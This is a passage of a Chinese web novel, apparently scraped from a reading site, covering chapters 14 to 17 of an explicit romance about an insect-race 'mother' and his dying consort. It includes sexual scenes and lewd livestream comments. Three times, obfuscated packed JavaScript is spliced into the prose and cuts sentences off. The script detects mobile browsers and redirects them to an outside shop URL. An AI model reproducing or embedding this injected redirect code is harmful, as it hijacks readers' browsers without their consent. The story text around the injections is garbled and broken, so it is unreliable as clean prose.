还专门用发星际通讯作为交换让他来玩这个游戏,孩子们肯定花了很多心思。虫母弯了弯眼睛,太了解孩子就是这样的,只消几个念头,就能猜出个七七八八。 珀尔甚至连犹豫或者怀疑的时间都没给自己留,像包容万物的水一样接纳了一切,孩子们这样用心给他准备了这些。 虽然没能瞒过他,但是珀尔还是打算陪孩子们接着玩下去。 游戏里第一次的王虫很轻易就定了下来,是戴维德。 珀尔按下选择键的瞬间,游戏二阶段的进度条瞬间变红。 【滴——】 【很遗憾,玩家“珍珠”做出了一个错误的决定,您选择了一只劣等虫,对方的繁育能力并不算优秀,您的族群没能在冰河期来临前达到中级阶段。】 【达成失败结局一:冰河消亡。】 珀尔愣住了,“……劣等虫?” 戴维德怎么可能是劣等虫?珀尔以为是游戏故障了,但明晃晃的失败又这样清晰地挂在珀尔眼前。 “这怎么可能呢?” 【妈妈失败了!要看看这局的惩罚是什么!】 【啊啊啊啊好邪恶,不知道妈妈能不能受得住!】 【姜罚或者魅魔套装(带尾巴)】 【话说这个改动也太离谱了,戴维德要是劣等虫,我是什么,我是渣滓吗?】 【就是要这样才好玩啊!全都一模一样妈妈怎么会输。】 【《繁育》官方工作室:我们的游戏都是百分百符合现实的哦,不存在杜撰。】 珀尔看见了这条官方的信息,他下意识反驳,“怎么可能呢,你们的游戏一定是出错了,我明明选对了……” 【加登:妈妈要愿赌服输哦,不可以耍赖。】 虫母白金色的发丝在阳光下流光溢彩的,漂亮的眼眸眨了眨,翘起一点的唇珠被抿起、压扁、变得红红润润的,“没想耍赖,你们的游戏如果没有故障的话,我愿赌服输。” 【加登:妈妈,这是游戏,只是虚构的,里面发生的事情或许是真的或许是假的。看你怎样去想了。】 【加登:不过无论妈妈怎样想,妈妈这局都是输掉了。妈妈,投票开始了。】 14.第 14 章 直播间一侧跳转出一张白色的投票栏,黑色的两个选项底下的数字不停地往上涨着,那是对于这一选项的赞同票数。 珀尔白皙温润的脸颊呆愣愣被这东西圈在屏幕中间,他有些失神地垂着眼睛不知道在想什么。 几缕白金色的发丝垂落下来,轻轻吻着虫母温柔的侧脸,过分洁净美丽的淡金色眼眸向下轻轻看着,眉眼间萦绕不去的熟透味道让看直播的一些青壮年雄虫蠢蠢欲动着。 【妈妈妈妈……想闻闻妈妈的味道……】 【肯定是香香的、甜甜的,想被妈妈的腿肉闷死……】 【都去选姜罚!可以让妈妈用玻璃瓶把控制不住流出来的蜜汁储藏好分发给我们……】 【妈妈在想什么,看起来有点呆呆的。】 【估计在想戴维德吧,哼哼哼。】 【看见妈妈垂着眼睛就莫名难受,想为了他去死,最好能像飞蛾扑火一样让妈妈再耀眼一点。】 【还是不要这样了吧,戴维德这家伙虽然可恶,但他刚刚在剧情里说的话也有道理。妈妈是这样温柔的虫母,他不会喜欢我们为了他而死的。】 【他会觉得是自己导致了你们的死亡、觉得自己是个坏妈妈的。】 【可我们是好战的种族,他……会是那种看见我们受伤也会伤心的妈妈吗?为什么我感觉很暖和,就是……操纵机甲也会暖和。】 【我们应该小心一点,少受伤,悲伤是很难受的情绪,妈妈不会喜欢的。】 珀尔始终垂着眼睛,呆愣愣地想着什么,好久之后才抬起眼睛,投票这时已经结束了,弹幕都在问他怎么了,是不是不舒服。 珀尔轻轻摇头,“只是,有一些事情想不通……没关系的,我们来看一下投票的结果吧。” 【妈妈是心思敏感的妈妈,感觉晚上会偷偷在被子里哭。】 【太恶劣了吧,怎么这样YY我们妈妈,不在被子里也会偷偷抹眼泪的。】 珀尔轻轻抿起唇瓣,将原本就红润的唇瓣摩擦得更艳,“没有哭,只是在想事情,才没看直播间的。” 什么哭不哭的,他是虫母,是一整个族群的王上,才不会因为这事就偷偷哭…… 【别逗我们妈妈了,妈妈快看投票结果!】 【好奇+1】 珀尔在弹幕的催促下,轻轻点开投票结果页面,两个选项的票数差不多,选项A只比选项B多出来十二票。 【哇哦!】 【妈妈愣住了,哈哈哈哈,没想到会有这么多票,甚至还看看直播间人数。】 【妈妈:怎么会有这么多票呢?都快是人数的两倍了。】 【光我室友就用三个设备投了三票了,响应妈妈召唤就应该是这个态度!】 【笑死了,明明是自己恶趣味,姜罚啊,想想就很漂亮……会变成艳丽的红色吧……】 “大家真的很热情啊,那我们明天见吧,惩罚结束后我会拍摄……这件惩罚物品的照片,在明天直播前发到平台上。”珀尔也算是成熟的虫母了,对于这些新奇玩意其实也是试过几次的,想起生姜…… 珀尔忍不住并紧腿,他急急忙忙关闭直播间,漂亮精致的鼻尖上沁出一点晶亮,“明天见哦,我先下播了。” 手机屏幕重新变成漆黑一片,明晃晃映着珀尔的温润脸庞,他闭了闭眼,刚刚被弹幕压下去的疑惑重新浮现出来。 戴维德,为什么在游戏里会变成一只劣等虫。 从游戏开始到现在,珀尔能察觉到,这款游戏对于某些细节的把控精细到了一定地步,虫族的尾巴有十三节,即使是Q版虫族,也没有因为建模小就模糊了这一细节。 珀尔想起自己之前玩游戏时的截屏,他翻找出自己的相册,里面的图片不多,珀尔很快就找到了那一张游戏截图: 那是一张Q版虫族角色对着旁边的珀尔挨挨蹭蹭的图片,那根灵活的尾巴圈住珀尔的腰。 珀尔放大,甚至能看见那条骨质尾巴顶端缺了的一角,珀尔之前吻的也是这一块缺陷。 那是戴维德第一次当王虫时出征抢资源时留下来的,事后对方因为这个就躲躲藏藏不敢见他,怕虫母嫌弃自己的尾巴丑。 但对方尾巴受伤的消息还是传到了珀尔耳朵里。珀尔知道,戴维德是惧怕自己的厌恶,又不想欺瞒虫母。 雄虫就是为了虫母而生的,二者的地位从来都不是平等的,虫母可以生出很多很多优秀的孩子、伴侣、属下、士兵,但雄虫只有一个妈妈。 珀尔想起这件事情,心里忽然不安起来,戴维德从来都不是那种喜欢欺瞒他的雄虫。这次藏起来不跟他见面,跟那次受伤了自己偷偷藏在他寝宫的衣柜里何其相似。 珀尔的眉眼难得地、本能地笼罩上一层上位者的姿态,但很快,又被席卷而来的心疼和爱怜覆盖上来。 他的孩子啊……怎么就是这样倔强呢,又是偷偷躲起来,只敢在游戏里小声说自己的状况。 虫母想起之前闻到的、带着信息素的血腥味。他抿了抿嘴唇,泛红的眼尾上挑着。 一点都不乖。珀尔想着。 “……坏孩子。” …… 戴维德捧着电脑,冰冷的薄唇还印在屏幕上,妈妈的直播间关闭了,电脑屏幕也慢慢陷入一片漆黑。 这漆黑让戴维德能更清晰地看见自己的丑陋面容,脸侧漆黑的甲片磨掉了又重新长出来,苍白无血色的脸难看极了。 戴维德知道珀尔喜欢这张脸,起码是看着还算顺眼的。 对方在繁育期的时候,很喜欢坐在他身上。虫母用依旧是温热的、但带着丁点赏赐意味的、轻轻用手触碰戴维德硬朗的脸庞。 “好孩子。” 戴维德喜欢对方这样夸他。但现在,他变成这样,脸又……他还是虫母的好孩子吗。 直到电脑也不再有任何温度,印在屏幕上的唇印慢慢消散。戴维德忽然开始后悔,为什么要告诉虫母,为什么要让对方知道。 这样的告别,这样丑陋又……真的是虫母会希望看到的吗。 反复纠结,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“再这样隐瞒自己的伤,自己躲起来偷偷哭。你就真的不是我的好孩子了。” 虫母的声音离戴维德很近,戴维德知道,对方就在门前。 甚至不知道听见了多少他的哭泣声,听见了那些肮脏的、丑陋的、懦弱的哭泣。 “你到底什么时候才会知道,跟自己的妈妈哭泣,不是很丢脸的事情。”珀尔叹了一口气,好不容易练习着板起来的脸重新恢复原来的表情。 眉眼透着一股悲悯味道的温柔虫母心里想着,还是做不到对着自己的孩子严厉起来啊。 珀尔换了一身舒适的家居服,跟戴维德的那件是配套的,在衣柜的角落里看见这件衣服的时候,珀尔就知道那晚戴维德来过他的房间了。 戴维德这个孩子就是喜欢暗搓搓跟他用同款。 珀尔穿上这件,就是要让戴维德知道,无论孩子变成什么样子,虫母都不会嫌弃他的。 “妈,妈妈……”戴维德的声音小声响起。 “你一开始给我检查的时候可不是这个口气。”珀尔笑了一下,眉眼弯弯,“还很凶的要绑我。” “没有的!妈妈,我不会捆您的,我,我就是太想您了……” “想我。”珀尔的头轻轻贴上门板,就像隔着门板贴上后面那躲起来的孩子的脸一样,温柔的同时,带着一点命令的味道,“想我就打开门。” 15.第 15 章 “妈妈……”戴维德小心翼翼打开一条门缝,露出一双有些忐忑、但更多是欣喜的眼眸。劣等虫子在虫母面前控制不住自己,一双人类的双眼仅仅是瞬间就转变成漆黑的虫族复眼。 被几千只小眼睛一瞬不移盯着的珀尔轻轻歪了歪头,他慢慢蹲下,让自己的高度变成不再是需要戴维德趴在地上用力仰起脸才能看见的程度。 但,即使是这样蹲下,珀尔依旧比戴维德要高半个头,戴维德小心翼翼抬头看着虫母的脸,“妈妈……别看我……” 珀尔伸出手,甲型圆润的手指搭在戴维德的脸侧,搭在那一片彰显着劣等虫的漆黑甲片上。“为什么不能看,你是我的孩子,有什么是妈妈不能看的吗。” 戴维德小心翼翼的,“丑,别脏了妈妈的眼睛。” 珀尔在对方紧张的目光里定定看了许久,他的确已经很久很久,没有见过自己的孩子了。 对方好像变样了,脸跟之前一点也不像,但是珀尔知道,这就是他的孩子。 而戴维德最厌恶的脸侧甲片,珀尔只是轻轻摸了摸。 没有像戴维德想象的那样,厌恶的让他立马扣掉。反而很温柔、生怕碰痛他一样轻轻抚摸。虫母掌心的温度让戴维德忍不住贪恋些许,他难得展现出丁点依赖。 “很少看见你这样,感觉又回到你年轻的时候了,那时候你的尾巴受伤了,还是我把你从柜子里牵出来的。”珀尔的脸被从背后透过来的阳光蒙上一层金灿灿的柔光。 这个距离还是太近了,戴维德能听见自己的脊背皮肉被骨刺撕裂开的细微声音,也能嗅到珀尔身上的融融暖香。 那是一种阳光的温暖和蜜汁的甜腻融合在一起的味道,就像是在一个天气很美好的晴朗天被妈妈抱在怀里哼着歌轻轻拍着哄睡。鼻子只是往旁边一歪,就能碰到虫母的胸口,闻到那一处上,蜜汁的味道。 但,这些跟他这只已经跌落成劣等虫的王虫,还有关系吗。 “妈妈,对不起。”戴维德失落地垂下眼。 虫族黑漆漆的复眼看起来应该是很可怖的,人类看见会尖叫逃跑。但在珀尔眼里,却只想快一点把孩子拢进怀里。 “为什么要说对不起。”珀尔抿了抿嘴唇。他故意移开眼睛,不去看戴维德了,“嗯……你确实应该说对不起。” 连抚摸着对方脸颊的手都要收回来。珀尔用余光偷偷瞄着,在看见戴维德慌乱的表情后又假装要离开。 一秒,两秒…… 珀尔还没走出一步,他的腿就被戴维德挣扎着爬出来死死抱住,他一向稳重大度的王虫哭得像个孩子,“妈妈,别不要我,求求你了,不要走好不好……” 虫母叹了一口气,“如果我刚刚真的想走,我会命令你停止你的一切小动作。” “所以,你是想让我命令你把身上的伤都一一扒开给我解释是怎么来的吗。” 珀尔知道,自己现在哪怕只是做出躲开对方的眼泪这一小小的动作,都会让自己的王虫崩溃。 虽然孩子撒谎真的很可恶。但是,珀尔转过身,轻轻低下头给了戴维德一个带着怜爱的吻。 “我的孩子,我允许你向我倾诉,我接受你的眼泪。”虫母跟戴维德脸贴脸,说话时虫母的唇瓣一张一合轻轻蹭过这只已然成为劣等虫的王虫的唇瓣。 戴维德闭着眼睛,感受着虫母赐予他的唇瓣温度。 妈妈…… * “哐当——!!” 兰伯特把实验室里的东西统统砸到墙壁上,那些精密的器械、昂贵的实验材料瞬间变成一地碎片。 他犹嫌不够,狠狠踹了一脚旁边的柜子,里面装着的玻璃瓶统统碎裂,实验液体流了一地。 “戴维德就是个疯子!”兰伯特朝着旁边的全息影像怒吼道,“他这样不计后果的做事情,就是把我们所有的努力都变成一地废材!” 加登挑起一边眉毛,他打了眉钉,看起来有些痞气,“火气别这么大啊,他就算告诉虫母了又能怎么样,他的目的已经达到了啊,现在告诉妈妈也只是借助自己的伤口求一点怜悯罢了。” 兰伯特冷冷倚着墙,“是吗,听起来你很赞同他的做法啊。” “有吗?或许吧,你急什么,他的药不是都被你换了吗。” 兰伯特眯起眼睛,“你的嘴,闭好,他是自己消耗过度,跟我有什么关系。” 加登说的其实是戴维德最后半个月的药剂,没想到诈出其他的事情了,他揉了揉太阳穴。戴维德这什么血脉啊,比他还疯。 “那你现在想干什么,他都已经告诉妈妈了,你再做事会被妈妈发现的。妈妈可不喜欢孩子自相残杀。”加登故作轻松道。 兰伯特沉思了一会,他的手心被锋利的玻璃割开,血液滴滴答答落在地面上。 就在加登以为对方不会说的时候,兰伯特忽然开口,“我不会让他留在虫母身边,一分一秒就不会再让他存在。” “你如果想成为虫母的侍君,就按我说的做。” 兰伯特以为王虫的位置已经非他莫属了,没注意到加登那一瞬间异样的眼神。 加登笑着,“当然可以,如果是我能做到的话。不知道你想怎么做呢。” 兰伯特在一地狼藉里重新给自己戴上手套,雪白的手套瞬间被血液沁红,金丝眼镜的镜片在昏暗的环境里闪过一丝寒光,他看向单独一个柜子储藏的黑色药剂。 “让他回不去虫星,就留在这。妈妈会把他忘记的。”兰伯特喃喃道,不知道是在说服自己还是在说服其他的什么人。 “虫星有那么多虫子,总会有一只,能让妈妈忘记他。那个虫子,只可能是我。” 兰伯特勾起笑容,像是已经看见了虫母对着他微笑、张开怀抱。 加登敲了敲桌面,“不得不打断你一下,我这边有公务,你先行动着吧,有需要我做的再找我。” “嗯。”兰伯特根本没把加登放在眼里,跟加登联系也只是因为对方手里有权,至于承诺给对方的侍君。 兰伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797882|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特冷嗤一声,“劣等虫,也配?” …… “妈妈,喝水。”戴维德擦干眼泪,珀尔垂着眼睛喝了一口对方递过来的蜂蜜水。 “只是这样吗?”珀尔没抬眼睛,“戴维德。” 戴维德慢慢跪在珀尔面前,他把身上的衣服脱了个干净,身上大大小小的伤疤触目惊心,最长的一道伤痕几乎拦腰斩断戴维德的躯体。 若不是虫族的恢复能力强,戴维德或许在见到妈妈之前就已经死掉了。 珀尔把杯子放下,发出清脆的响声。 戴维德低下头,没有迎来轻蔑的羞辱,妈妈依旧给了他无尽的温柔。 珀尔的指腹轻轻碰到那道伤痕,他的指尖微微发抖,想碰,又怕碰疼了戴维德。 “这伤是怎么来的。”戴维德看见珀尔的眼尾红了。 戴维德张开嘴又合上,欲言又止。 “为什么不敢说。”珀尔大概能猜到,“是为了找我,对吗。” 戴维德清楚虫母在想什么,他轻声道,“妈妈,别自责,我心甘情愿的。” “你伤成这样,让我怎么能不自责呢。”珀尔一一抚摸过那些伤疤,每一处都疼在这只可怜妈妈的心里。 “这一处是被兰伯特打的。”戴维德指着下巴处的一道伤痕,“当时才刚刚发现妈妈不见了,他一时心急,就……” “这一处是在星际漂流的时候被砸伤的,不知道妈妈在哪个星系,所以哪里都不敢遗漏。” “这是刚来地球,被那些人类用武器伤的,他们的武器很厉害,但是妈妈的族群这些年发展得更好。” 珀尔流下眼泪,晶莹剔透的泪打湿他仿若水洗过的白瓷一样的脸颊,“别说了,不要说了……” “妈妈,但我找到你了,我重新被你抱住,重新闻到妈妈的味道,我是妈妈的好孩子。”戴维德摸到珀尔的小腹,那里正孕育着族群的新希望,“每个虫子都会死的,别为我难过。” “也不要自责,你的离开不是你的本意,你也没有想到会离开这么久。这一切都是我自愿的,妈妈不要悲伤。 其实,我一直在想,我找到你第一句话要说什么,准备了好久好久,没想到,居然只想起来叫妈妈。” 戴维德轻轻靠在珀尔怀里,高大强壮的身躯依赖地钻进虫母的怀抱。 “妈妈,给我唱你喜欢的曲子吧,我已经很久没有听过了。” “笨孩子……”珀尔声音都带上一点哭腔,但他还是抱着这只陪自己成长的王虫开始哼着哄幼虫的曲子。 虫母的声音就在耳边,戴维德不用转头就能嗅到妈妈的味道,刺骨疼痛着的旧伤都被虫母的温度裹得温热。 妈妈,他的妈妈。戴维德轻轻攥住一缕白金色的发丝,又轻轻把它放开,他选择帮助加登,在妈妈眼里算不算是大度了一回。 也不算吧,毕竟他有那么多的私心。 戴维德亲了亲虫母的唇瓣,“如果可以,能不能在我最后的时间里,临幸我。” 16.第 16 章 “妈妈,可以吗?”戴维德的上衣早就不知所踪了,精壮的小麦色胸膛紧紧贴着虫母,对方身上慢慢散发出珀尔熟悉的味道。 ——那是雄虫求偶时会散发出来的信息素。 带着勾引意味的信息素挑逗着这只抱着雄虫温存的漂亮虫母。戴维德张开嘴,露出构造奇特的口腔,里面盘着的倒三角舌头抖着扭着探了出来。 跌落成劣等虫后,戴维德的舌头变得更长了,跟所有劣等虫一样,他也希望这样长的舌头能让妈妈舒服,能让妈妈的目光从强悍的正常雄虫身上移到他们身上一刻两刻。 虫族尖端细长的、柔软灵活的舌头卷住虫母的手腕,戴维德的脸庞紧紧贴着珀尔的手心,倒三角形状的舌尖上黏着雄虫求偶的信息素,若有若无的味道让虫母落下眼神。 看着正经的戴维德背地里求偶的信息素其实有点骚得哄的。 珀尔把最后一句唱完,轻轻在戴维德鼻尖上落下一吻。虫母能清楚地看见戴维德微微颤抖着的瞳孔。珀尔笑了一下,又在对方眼皮上落下一吻,“我允许你服侍我度过繁育期。” “希望你可以留下你的种子,为族群带来新生命。” “戴维德,现在,吻我。” 虫母被压制下去的第二次繁育期重新卷起,他的王虫抱起他,另一只空荡荡的孕囊将会在这一晚被填满。 虫母淡金色的眼眸半阖着,纯白的洁净睫毛随着动作晃动,白金色的发丝铺在漆黑颜色的被褥上,像黑夜里展开羽翼的漂亮鸟儿。 小麦色皮肤的王虫脸上还长着劣等虫的黑色甲片,精壮的躯体轻而易举就能把可怜兮兮的小虫母抱起压下。 “戴维德……”珀尔的脸颊挨着被褥,被挤出一点软肉,毛茸茸的脖领子也被戴维德的手掌揉着捂着,温热柔软的白色绒毛变得乱糟糟的。 “妈妈,妈妈张开翅膀好不好……” 半透明的、有着白色脉络的翅膀被王虫轻轻拉起,像精致的银质制品。虫族的复眼甚至能看见那翅膀脉络底下慢慢流动着的金黄色甜腻蜜汁。 虫母自己已经没有力气了,繁育期的虫母会格外脆弱,所以每次侍寝的雄虫都是生/殖能力强且实力强大的佼佼者。虫族的巢穴在虫母到达繁育期时会禁闭起来,防守森严,避免虫母受到来自外界的伤害。 严格来说,戴维德已经不符合这个标准,他向虫母申请被临幸已经是违背了他王虫的准则,说出去是会被其他雄虫唾骂的。但虫母偏偏同意了。 妈妈同意了……戴维德因为这事而兴奋不已,虫母知道了他的身体状况,知道他即使这次被临幸也不一定会为族群产生新的成员,但仍旧同意他留下。 戴维德心里滚烫一片,他知道,这是珀尔给他的偏爱和例外,虫母应该是高高在上的,但他的妈妈,低头去亲吻他的眼睛。 “戴维德,别这样狠……”虫母纤白窄瘦的手都被这只兴奋到极点的雄虫紧紧扣住,脆弱敏/感的翅膀被自己的孩子舔上。 蜜汁在戴维德嘴里潺潺流淌着,这原本是为了虫母肚子里这一批幼卵准备的,反而现在却是他已经成年的孩子在吮吸。 “你都多大了,还要跟新生的幼虫抢吃的……坏孩子……”珀尔被压着种过一轮后,果断坐起俯视着戴维德。 繁育期的虫母确实没什么力气,好在珀尔已经积攒了一会,这才没有翻身失败的糗事发生。 珀尔拍了拍戴维德的脸侧,对方冰冷漆黑的甲片不算光滑,这代表着这只雄虫真的快要离开了。 虫母不可避免难过了一瞬。戴维德敏锐地察觉到他的情绪,向虫母露出一个笑容,“妈妈,要试试我的舌头吗,很灵活的。” 珀尔怎么会不知道戴维德这是在转移他的注意力,他带着眷恋俯下身吻住这只陪伴了自己五年的王虫。 馨香舌尖很快被戴维德的舌头卷住,对方拉着虫母陷入快乐的漩涡。 在闭眼的瞬间,珀尔闭上眼睛,眼泪从眼角滑落。 戴维德,我真的舍不得,但,我知道这是你不会后悔的选择。那就让我们在一起度过最后的时光,像所有的离别之前应该做的那样。留下新生的种子。 珀尔经历了多少次这样的离别,他小腹上的发光纹路都在替他记录着,新生从虫母的腹部出来,在死亡之前又会回到里面。 在什么发生的瞬间,珀尔小腹上的金色印记泛起淡淡的光泽,从小腹中心的一点蔓延至后腰处那雪白腰窝两侧的纹路慢吞吞增长着。 其实那纹路看起来就像生命树的根系,顶端的枝丫因为戴维德又多出来一支。 黑色被褥上的两滴泪汇聚在一起,慢慢沁入布料,最后消失不见。 …… 戴维德的房间没什么光亮,窗帘一直是拉着的,昏暗的房间里忽然多出这么一个浑身雪白的虫母。 戴维德感觉自己和房间都活过来了。 珀尔喜欢在完事之后半阖着眼睛依偎一会。戴维德早早在床头柜上备好了水,现在喝起来温度刚刚好。 “王上,喝点水吧。”戴维德很熟悉这套流程,丝毫没有让珀尔感受到任何不适,连之后的清理都熟稔无比。 珀尔朝他张开怀抱,戴维德从善如流地嵌了进去,这是虫母给戴维德的偏爱和温柔。 虫母轻轻抚摸着王虫的脊背,劣等虫的骨刺收不起来,但面对虫母却本能地收起锋利的尖部,避免划伤虫母的手。 “乖孩子,你那天就是在这面镜子前看我的吗。” 戴维德的身体一僵,“您,都知道了啊……” 珀尔扯开旁边的窗帘,阳光洒了进了,把虫母身上白色的绒毛和白金色的发丝都过上一层圣洁的滤镜,他腹部的金色纹路还没褪去。此时的珀尔看起来就像是误入凡间的仙子。 只不过这个仙子已经成为虫族的母亲了,虫母扬了扬下巴,示意戴维德从他的方向看去,能模糊地看见对面房间的装饰。 “你的眼神都快隔着镜子把我烧穿了,我当然能感受到。”珀尔轻轻扭过头,跟戴维德鼻尖贴着鼻尖厮磨,“还有什么瞒着我的,嗯?” “比如……那个游戏、直播、你的样貌为什么会改变,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805612|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”虫母嗅了嗅戴维德身上的信息素,“你的信息素是有关联性的,我能闻到微弱的、其他雄虫的味道。” 还没有获得改造后虫族控制权的虫母却已经能闻到一点味道了,这证明着整个虫族和虫母对彼此的感情都是绝对纯净的,没有掺杂任何虚假和其他的东西。 戴维德知道,在珀尔回到虫星后,兰伯特就会把整个虫族的控制钥匙交给珀尔,让所有雄虫都打上虫母的烙印,改造后的虫族共享着一个意识,虫母是这意识的唯一控制者。 如果不在珀尔留在地球的这最后时间里彻底扳倒兰伯特,他一定会毫不留情取缔戴维德的意识部分,等虫母发现的时候,也已经无法追溯是谁的责任了。 戴维德选择在游戏二阶段用自己的王虫权限改变了游戏剧情,这一事情绝对已经惹怒了兰伯特,他知道,兰伯特一定会这样做的,毫不留情、斩草除根。 他已经无法抵抗,唯一的办法就是在一切发生的瞬间,就让虫母知道真相。 戴维德像贡献自己一样跪着、仰着头看向珀尔,“王上,玩游戏吧,里面的剧情,是虫族在失去您之后真实发生过的。我不会做有害于您的事情。” “您离开的这些年,虫星发生了很多事情,是我无能,这一切都需要您回到虫星主持大局,稳定虫族。” 珀尔似乎察觉到了什么,他能看见戴维德眼睛里的不舍和决绝,这只位高权重的、被全族簇拥供奉起来的王上也只是一个温柔的虫母,他摸了摸孩子的脸颊,“你不打算跟我回去了,是吗?” 戴维德摇摇头,“之前是那样想的,现在得到您的垂怜,我是希望能跟您回去的。” 珀尔抿了抿嘴唇,知道戴维德这是在说谎,坏孩子,反正这事戴维德自己不能做决定,珀尔要是下命令让他回去,他不回去也得回去。 虫母看着戴维德,还是没能狠下心说他,“算了,戴维德,你一直是一只很聪明的孩子。” “我会接着进行游戏和直播的,你总有你的道理。”珀尔把戴维德拉起来,把他抱进怀里,盖上被子打算一起睡个午觉。 戴维德搂住珀尔的腰,这样看起来反而像是这只比虫母更高大的雄虫把虫母抱进怀里。 房间安静下来,往常的冰冷绝望因为虫母的到来而融化掉。 珀尔闭上眼睛,呼吸慢慢均匀起来。虫母白金色的发丝和戴维德黑色的头发在枕头上交缠着。 戴维德闻着珀尔身上的味道,那是虫母自己的信息素和他的信息素交缠在一起的味道。 这意味着现在安全区内的所有虫子都能闻到,虫母临幸了他,临幸了这只已经跌落成劣等虫的王虫。 也意味着所有虫子都会知道王虫成为了一只劣等虫。 或许之后蠢蠢欲动的候选人都会付诸一些行动,但戴维德此刻需要对付的还是威胁最大的兰伯特。 “?”珀尔睁开眼,“干什么不睡觉,闭上眼,不许胡思乱想了。” 戴维德听话地闭上眼。 此刻,跟其他雄虫的嫉妒牙酸不一样,戴维德是幸福的。 17.第 17 章 “妈妈,你要的姜。”戴维德端着一盘子黄色姜片过来,刚切好的新鲜姜片汁水很足,此时正散发着刺激性的味道。 珀尔凑过去嗅了嗅,他很喜欢姜撞奶,但端到他面前的都已经是完美的成品了,一点瑕疵都没有。像这样直接看见姜片,珀尔还是头一回。 好在熟悉的味道让怀着卵的虫母稍微安心了一点,他的潜意识里对这味道有印象,应该不是能伤害到他的东西。 戴维德把盘子放到床头柜上。他回到珀尔的怀抱里,看着虫母微微鼓起一点的小腹,有些担忧道,“妈妈,要不然还是算了吧,只是一个小惩罚,您可以不用真的做的,就算不做也不会被怎样。” “那怎么行呢。”虫母是很讲原则的,他低下头笑着看向戴维德,“虫要讲信用,小时候给你们讲那么多好故事怎么还学会耍赖了。” 珀尔嘴上这样说着,手上却还是揉了揉怀里孩子的发顶。 “回虫星后找厄里斯给你治疗,说不定没有那么糟糕呢。”虫母对虫族的记忆还停留在百年前,那时厄里斯是医疗领域的顶尖雄虫之一。 不过珀尔也知道,戴维德的情况的确很糟糕,此时连额角上都有收不回去的甲片蔓延上来。治疗的唯一作用可能就是对虫母的安慰。 戴维德亲吻着虫母的光洁小臂,“妈妈,厄里斯已经……” “沉睡了,是吗。”珀尔抿了抿嘴唇,戴维德能看见他眼底的悲伤,不仅仅是因为沉睡的厄里斯,更是因为已然时日无多的戴维德。 “嗯,妈妈不用这样委婉,我会跟妈妈回虫星的,真的。”戴维德闭上眼睛,享受着虫母的温暖,“只希望最后的时间能跟妈妈一起度过。” 珀尔轻轻摸了摸戴维德的脸颊,“你总是让我感觉还有其他的什么打算,我一向是不喜欢扼杀孩子的创造性的,但这次你必须要收起自己的坏念头,我们回虫星,落叶要归根。” “嗯,我会回去的。妈妈就是离开我太久了才会感觉到这些,说不定妈妈再临幸我几次,多骑几次,就不会……”戴维德话还没说完,就被恼怒的虫母堵住嘴唇,他笑着,眼尾都沾染上笑意。 珀尔注意到这抹笑意,也被沾染上暖洋洋的温度,一个深吻完毕,珀尔眉眼弯弯,小口小口喘气,“坏孩子。” “妈妈,我怕你自己弄伤到自己,要不然我来帮你完成那个惩罚吧。” 戴维德一开口,珀尔就知道对方的贼心思在哪里了。他还说这样的话,明明之前在巢穴里,就属戴维德弄得狠,第一个繁育期就怀满了两个孕囊,导致珀尔有一段时间看见戴维德就感觉孕囊酸。 “就你主意多。”虫母笑着轻轻扇了戴维德一巴掌,那一点力道,打在雄虫身上几乎都没什么感觉,但戴维德却感觉像是打在他的心上。 那颗为了珀尔才重新活跃起来的心脏,此刻正不停地、往外喷涌着名为爱意的熔岩。 新鲜的姜片最后还是被戴维德按在了虫母身上,珀尔辛辛苦苦储存好的蜜汁又潺潺流着,戴维德用玻璃罐子接住它们,甜腻、温柔和虫母的味道在房间内蔓延。 伴随着一点辛辣的姜汁,珀尔迷迷糊糊想着,这一罐要做好标记,等戴维德再次回到他身边时,喂给他。让他尝尝这滋味,坏孩子。 这已经是虫母在被戴维德弄哭后,他自以为最恶劣的想法了。 珀尔的账号多出一条笔记,标题是,“好辣。” 点开里面则是一张图片:几片有着邪恶黄色绒毛的姜片凌乱地摆在盘子里,每一片上面都裹着金黄色的、像蜂蜜一样的液体。 “戴维德?你要去哪?”珀尔调整好直播设备,他打算在戴维德房间直播,电脑和手机都叫戴维德去他的房间拿过来了。 但这个时候,戴维德似乎打算外出。 他穿上外套,回头朝虫母露出一个笑,“妈妈,不会跑的,我要去兰伯特那里打一针药剂。” “兰伯特,他也选了医学方向啊,我记得他小时候很喜欢听我讲历史故事,我以为他会选历史方向。”珀尔弯起眼睛。 戴维德戴上帽子,眼神晦暗不明,“是啊,他是一个很有天赋的雄虫。妈妈继续直播吧,我很快就会回来。” 珀尔点点头,没发现戴维德临走前拿走了自己房间的钥匙。 珀尔戴上耳机,彻底隔绝开外界的声音,《繁育》的音效遮盖住隔壁门被打开的咔哒声。 戴维德进了他的房间,不知道拿走了什么。在脚步声慢慢远离、最后消失的时候,珀尔如有所感一般回过头。 【终于开播了!妈妈有没有垫软垫,别弄痛自己,可怜的妈妈。】 【是错觉吗,怎么感觉妈妈今天很开心。】 【开心是好事情啊,之前总感觉妈妈眼睛里有股挥之不去的莫名情绪,看得我心酸酸的。】 但很快,珀尔的注意力又被这些弹幕吸引回来了。 